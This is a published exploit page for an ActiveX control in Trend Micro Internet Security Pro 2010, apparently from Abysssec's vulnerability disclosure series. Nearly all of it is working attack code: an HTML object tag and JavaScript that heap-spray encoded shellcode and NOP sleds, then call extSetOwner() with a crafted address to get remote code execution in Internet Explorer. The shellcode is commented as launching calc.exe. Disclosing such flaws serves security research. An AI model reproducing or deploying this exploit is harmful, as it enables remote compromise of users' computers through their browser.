Trend Micro Internet Security Pro 2010 – ActiveX ‘extSetOwner()’ Remote Code Execution (2)
<!-- __ __ ____ _ _ ____ | \/ |/ __ \ /\ | | | | _ \ | \ / | | | | / \ | | | | |_) | | |\/| | | | |/ /\ \| | | | _ < Day 3 (Binary Analysis) | | | | |__| / ____ \ |__| | |_) | |_| |_|\____/_/ \_\____/|____/ Title : Trend Micro Internet Security Pro 2010 ActiveX extSetOwner Remote Code Execution Version : UfPBCtrl.DLL 17.50.0.1366 (XP SP3) Analysis : http://www.abysssec.com Vendor : http://www.trendmicro.com Impact : Critical Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec http://www.exploit-db.com/trend-micro-internet-security-pro-2010-activex-extsetowner-remote-code-execution/ SHELLCODE CALC.EXE TESTED ON XPSP3_IE_7 --> <object ID='target' classid='clsid:15DBC3F9-9F0A-472E-8061-043D9CEC52F0'> </object> <script> shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+ '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+ '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+ '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+ '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'); nops=unescape('%u9090%u9090'); headersize =20; slackspace= headersize + shellcode.length; while(nops.length< slackspace) nops+= nops; fillblock= nops.substring(0, slackspace); block= nops.substring(0, nops.length- slackspace); while( block.length+ slackspace<0x50000) block= block+ block+ fillblock; memory=new Array(); for( counter=0; counter<200; counter++) memory[counter]= block + shellcode; target.extSetOwner(unescape('%ua5de%u3da6')); //mshtml.dll [0x3DA6A5DE] = 0A0A0A06 </script> |